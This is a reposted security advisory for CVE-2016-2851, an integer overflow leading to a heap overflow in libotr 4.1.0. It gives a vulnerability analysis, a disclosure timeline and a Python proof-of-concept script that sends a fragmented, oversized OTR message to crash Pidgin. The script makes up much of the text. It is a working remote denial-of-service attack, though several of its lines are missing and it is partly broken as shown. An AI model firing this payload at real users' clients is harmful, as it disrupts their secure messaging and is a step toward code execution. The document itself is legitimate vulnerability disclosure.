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packetstormMarkus VervierPACKETSTORM:136167
HistoryMar 11, 2016 - 12:00 a.m.

libotr 4.1.0 Memory Corruption

Markus Vervier





`X41 D-Sec GmbH Security Advisory: X41-2016-001  
Memory Corruption Vulnerability in "libotr"  
Severity Rating: high  
Confirmed Affected Version: 4.1.0 and below  
Confirmed Patched Version: libotr 4.1.1  
Vendor: OTR Development Team  
Vendor URL:  
Vendor Reference: OTR Security Advisory 2016-01  
Vector: Remote  
Credit: X41 D-Sec GmbH, Markus Vervier  
Status: public  
CVE: CVE-2016-2851  
CVSS Score: 8.1 (High)  
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H  
Summary and Impact  
A remote attacker may crash or execute arbitrary code in libotr by  
sending large OTR messages.  
While processing specially crafted messages, attacker controlled data on  
the heap is written out of bounds.  
No special user interaction or authorization is necessary in default  
Product Description  
Off-the-Record (OTR) Messaging is a cryptographic protocol used in  
well-known instant messaging clients such as Pidgin, ChatSecure, Adium  
and others. It is designed to work on top of existing protocols and used  
worldwide to provide secure communication in insecure environments.  
OTR is regarded as highly secure and according to documents revealed by  
Edward Snowden one of the protocols that the NSA is not able to decrypt  
via cryptanalysis.  
The most commonly used implementation of OTR is "libotr" which is a pure  
C code implementation of the OTR protocol.  
During a manual code review X41 D-Sec GmbH discovered a remotely  
exploitable vulnerability in libotr.  
By sending large messages, an integer overflow can be triggered which  
subsequently leads to a heap overflow on 64 bit architectures.  
When a message of type OTRL_MSGSTATE_DATA is received during an  
established OTR conversation, this message is passed to function  
otrl_proto_accept_data in src/message.c line 1347:  
extrakey = gcry_malloc_secure(OTRL_EXTRAKEY_BYTES);  
err = otrl_proto_accept_data(&plaintext, &tlvs, context,  
message, &flags, extrakey);  
After base64 decoding the message and reading various values from it,  
the length of a payload is read into a variable of type "unsigned int"  
in file proto.c line 784:  
It is checked that the message buffer will contain at least a "datalen"  
number of bytes using read_int in proto.c line 785:  
The macros "read_int" and "required_len" are defined in src/serial.h:  
#define require_len(l) do { \  
if (lenp < (l)) goto invval; \  
} while(0)  
#define read_int(x) do { \  
require_len(4); \  
(x) = (((unsigned int)bufp[0]) << 24) | (bufp[1] << 16) | (bufp[2] <<  
8) | bufp[3]; \  
bufp += 4; lenp -= 4; \  
} while(0)  
4 bytes are read from the message buffer and interpreted as unsigned int  
Subsequently a buffer of size datalen+1 is allocated using malloc  
in proto.c line 786:  
data = malloc(datalen+1);  
if (!data) {  
err = gcry_error(GPG_ERR_ENOMEM);  
goto err;  
Now data from the message is copied into this buffer using memmove in  
line 791:  
memmove(data, bufp, datalen);  
The vulnerability is triggered if a value of 0xFFFFFFFF (MAX_UINT) is  
read from the message buffer. As datalen is of size 32-bit (unsigned  
int) the operation "datalen+1" will wrap around before being passed to  
This will effectively result in a zero allocation ( malloc(0) ) which is  
valid in common implementations of malloc on the x86_64 architecture.  
As no addition is done in the value passed to the call to memmove, 4  
gigabytes of data are copied out of bounds to the heap location pointed  
to by data.  
Proof of Concept  
In order to successfully trigger the vulnerability, an attacker must be  
able to send a data message of more than 5.5 gigabytes to a victim in  
order to pass the check "require_len(datalen)".  
Due to the support of fragmented OTR messages assembled by libotr this  
is possible in practice. By sending 275 messages of size 20MB each, X41  
was able to make libotr process such a data message successfully on a  
system with 8GB of ram and 15GB of swap space.  
As data types for lenp and other lengths of the message are 64 bit large  
size_t types on x86_64 architectures huge messages of multiple gigabytes  
are possible.  
Sending such a message to a pidgin client took only a few minutes on a  
fast network connection without visible signs of any attack to a user.  
A proof of concept triggering a heap overwrite and crash in the  
pidgin-otr plugin for the popular pidgin messenger on x86_64 Linux  
architectures is available[1].  
The crash occurs due to the overwrite hitting unmapped memory. Using  
techniques such as heap grooming, X41 was able to inflate the heap to  
more than 4GB and overwrite function pointers and arguments on the heap  
in order to take over control flow. A working exploit will not be  
published at this time.  
Interaction by users beyond having enabled OTR is not necessary as OTR  
sessions are automatically established with anyone by default in Pidgin  
and other common software using libotr. This also applies to  
unauthorized contacts in most default configurations.  
As a temporary workaround on Linux and BSD systems, the amount of memory  
available to the process running libotr may be limited to less than 4GB  
via ulimit.  
About X41 D-Sec GmbH  
X41 D-Sec is a provider of application security services. We focus  
on application code reviews, design review and security testing. X41  
D-Sec GmbH was founded in 2015 by Markus Vervier. We support customers  
in various industries such as finance, software development and public  
2016-02-17 Discovery during a manual code review of "libotr" version 4.1.0  
2016-02-17 Initial PoC  
2016-02-18 Vendor contacted  
2016-02-18 Vulnerability confirmed by vendor  
2016-03-03 Vendor patch available  
2016-03-04 CVE requested  
2016-03-06 CVE-2016-2851 assigned  
2016-03-09 Embargo lifted and disclosure  
X41 D-SEC GmbH, Dennewartstr. 25-27, D-52068 Aachen  
T: +49 241 9809418-0, Fax: -9  
Unternehmenssitz: Aachen, Amtsgericht Aachen: HRB19989  
Geschäftsführer: Markus Vervier  
-- --  
#!/usr/bin/python -u  
### PoC libotr heap overwrite on Pidgin  
### 2016-02-17 Markus Vervier  
### X41 D-Sec GmbH  
### initial code taken from pyxmpp examples (  
### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger)  
### On a loopback interface the exploit took several minutes,  
### using XMPP stream compression this could be reduced massively  
### pyxmpp does not support it  
### We used XMPP connections without TLS to not further complicate the setup  
### USAGE  
### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest"  
### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin)  
### 2. Disconnect the attacker account  
### 3. Fire up this script and let it connect with the attacker account credentials  
### 4. Send a message from victim to attacker  
### 5. Wait until message sending is complete, pidgin should crash  
### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC  
### !!! If we would implement full OTR in this script we could send the bad message directly  
### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags  
import sys  
import logging  
import locale  
import codecs  
import os, signal  
import time  
import base64  
def ignore_signal_pipe(signum, frame):  
print 'signal pipe caught -- IGNORING'  
signal.signal(signal.SIGPIPE, ignore_signal_pipe)  
from struct import *  
from pyxmpp.all import JID,Iq,Presence,Message,StreamError  
from pyxmpp.jabber.client import JabberClient  
from pyxmpp.interface import implements  
from pyxmpp.interfaces import *  
from pyxmpp.streamtls import TLSSettings  
from enum import Enum  
class EchoHandler(object):  
"""Provides the actual 'echo' functionality.  
Handlers for presence and message stanzas are implemented here.  
implements(IMessageHandlersProvider, IPresenceHandlersProvider)  
def __init__(self, client):  
"""Just remember who created this."""  
self.client = client  
def get_message_handlers(self):  
"""Return list of (message_type, message_handler) tuples.  
The handlers returned will be called when matching message is received  
in a client session."""  
return [  
("normal", self.message),  
def get_presence_handlers(self):  
"""Return list of (presence_type, presence_handler) tuples.  
The handlers returned will be called when matching presence stanza is  
received in a client session."""  
return [  
(None, self.presence),  
("unavailable", self.presence),  
("subscribe", self.presence_control),  
("subscribed", self.presence_control),  
("unsubscribe", self.presence_control),  
("unsubscribed", self.presence_control),  
def message(self,stanza):  
"""Message handler for the component.  
Echoes the message back if its type is not 'error' or  
'headline', also sets own presence status to the message body. Please  
note that all message types but 'error' will be passed to the handler  
for 'normal' message unless some dedicated handler process them.  
:returns: `True` to indicate, that the stanza should not be processed  
any further."""  
m = 0   
print u'Message from %s received.' % (unicode(stanza.get_from(),)),  
if subject:  
print u'Subject: "%s".' % (subject,),  
if body:  
print u'Body: "%s".' % (body,),  
if t:  
print u'Type: "%s".' % (t,)  
print u'Type: "normal".'  
if stanza.get_type()=="headline":  
# 'headline' messages should never be replied to  
return True  
# record instance tag  
if body[:9] == u'?OTR:AAMD':  
(self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):])  
print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") )  
self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag)  
return m  
def b64maxlen(self, chars):  
return 1 + (4 * chars / 3)  
def parse_aamc(self, msg):  
maxlen = self.b64maxlen(8) # 4 byte integer  
print "maxlen %u" % (maxlen)  
tmp = msg[0:maxlen]  
padding = ""  
if maxlen % 4 > 1:  
padding = "="*(4-(maxlen % 4))  
tmp += padding  
print "decoding: "+tmp  
packed = base64.b64decode(tmp)  
# return unpack("I", packed[0:4])  
return (packed[0:4], packed[4:8]) # their tag, our tag  
def initial_body(self, instance_tag, our_tag):  
ret = "?OTR:AAMD";  
raw = b''  
print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex"))  
#dirty hack  
raw += our_tag # sender_nstance_id  
raw += instance_tag # receiver_id  
raw += "D" # dummy flags  
raw += pack("I", 0x1) # sender key id  
raw += pack("I", 0x2) # recipient key id  
raw += pack("!I", 10) # len next_y  
raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;)  
raw += "12345678" # reveal sig dummy  
# yeah overflow!  
raw += pack("I", 0xFFFFFFFF); # datalen  
ret += base64.b64encode(raw+"A"*(57-len(raw)))  
return ret  
def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag):  
print "G-FUNK!"  
# this should result in about 0xFFFFFFFF times "A" base64 encoded   
len_msg = 5726623060  
# fix frag size for base64  
frag_size = (frag_size / 4) * 4  
frag_msg = "QUFB"*(frag_size / 4)  
n = len_msg / frag_size   
# does not evenly divide?  
if len_msg % frag_size > 0:  
n += 1  
k = 1  
n += 1 # initialbody adds another frame  
initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag))  
print "first fragment: "+initialbody  
m = Message(  
k += 1  
print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n)  
cur_pos = 0  
while(cur_pos < len_msg):  
body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg)  
m = Message(  
print "cur_pos %u of %u" % (cur_pos, len_msg)  
k += 1  
cur_pos = frag_size * (k-2)  
print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg)  
def presence(self,stanza):  
"""Handle 'available' (without 'type') and 'unavailable' <presence/>."""  
msg=u"%s has become " % (stanza.get_from())  
if t=="unavailable":  
if show:  
msg+=u"(%s)" % (show,)  
if status:  
msg+=u": "+status  
print msg  
def presence_control(self,stanza):  
"""Handle subscription control <presence/> stanzas -- acknowledge  
if t=="subscribe":  
msg+=u" has requested presence subscription."  
elif t=="subscribed":  
msg+=u" has accepted our presence subscription request."  
elif t=="unsubscribe":  
msg+=u" has canceled his subscription of our."  
elif t=="unsubscribed":  
msg+=u" has canceled our subscription of his presence."  
print msg  
return stanza.make_accept_response()  
class VersionHandler(object):  
"""Provides handler for a version query.  
This class will answer version query and announce 'jabber:iq:version' namespace  
in the client's disco#info results."""  
implements(IIqHandlersProvider, IFeaturesProvider)  
def __init__(self, client):  
"""Just remember who created this."""  
self.client = client  
def get_features(self):  
"""Return namespace which should the client include in its reply to a  
disco#info query."""  
return ["jabber:iq:version"]  
def get_iq_get_handlers(self):  
"""Return list of tuples (element_name, namespace, handler) describing  
handlers of <iq type='get'/> stanzas"""  
return [  
("query", "jabber:iq:version", self.get_version),  
def get_iq_set_handlers(self):  
"""Return empty list, as this class provides no <iq type='set'/> stanza handler."""  
return []  
def get_version(self,iq):  
"""Handler for jabber:iq:version queries.  
jabber:iq:version queries are not supported directly by PyXMPP, so the  
XML node is accessed directly through the libxml2 API. This should be  
used very carefully!"""  
q.newTextChild(q.ns(),"name","Echo component")  
return iq  
class Client(JabberClient):  
"""Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient`  
class as base. That class provides basic stream setup (including  
authentication) and Service Discovery server. It also does server address  
and port discovery based on the JID provided."""  
def __init__(self, jid, password, tls_cacerts):  
# if bare JID is provided add a resource -- it is required  
if not jid.resource:  
jid=JID(jid.node, jid.domain, "attacktest")  
if tls_cacerts:  
if tls_cacerts == 'tls_noverify':  
tls_settings = TLSSettings(require = True, verify_peer = False)  
tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts)  
tls_settings = None  
# setup client with provided connection information  
# and identity data  
JabberClient.__init__(self, jid, password,  
disco_name="PyXMPP example: echo bot", disco_type="bot",  
tls_settings = tls_settings)  
# add the separate components  
self.interface_providers = [  
def stream_state_changed(self,state,arg):  
"""This one is called when the state of stream connecting the component  
to a server changes. This will usually be used to let the user  
know what is going on."""  
print "*** State changed: %s %r ***" % (state,arg)  
def print_roster_item(self,item):  
print (u'%s "%s" subscription=%s groups=%s'  
% (unicode(item.jid), name, item.subscription,  
u",".join(item.groups)) )  
def roster_updated(self,item=None):  
if not item:  
print u"My roster:"  
for item in self.roster.get_items():  
print u"Roster item updated:"  
# XMPP protocol is Unicode-based to properly display data received  
# _must_ convert it to local encoding or UnicodeException may be raised  
locale.setlocale(locale.LC_CTYPE, "")  
encoding = locale.getlocale()[1]  
if not encoding:  
encoding = "us-ascii"  
sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace")  
sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace")  
# PyXMPP uses `logging` module for its debug output  
# applications should set it up as needed  
logger = logging.getLogger()  
logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity  
if len(sys.argv) < 3:  
print u"Usage:"  
print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],)  
print "example:"  
print "\t%s test@localhost verysecret" % (sys.argv[0],)  
print u"creating client..."  
c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None)  
print u"connecting..."  
print u"looping..."  
# Component class provides basic "main loop" for the applitation  
# Though, most applications would need to have their own loop and call  
# from it whenever an event on  
# occurs.  
except IOError, e:  
if e.errno == errno.EPIPE:  
# IGNORE EPIPE error  
except KeyboardInterrupt:  
print u"disconnecting..."  
print u"exiting..."  
# vi: sts=4 et sw=4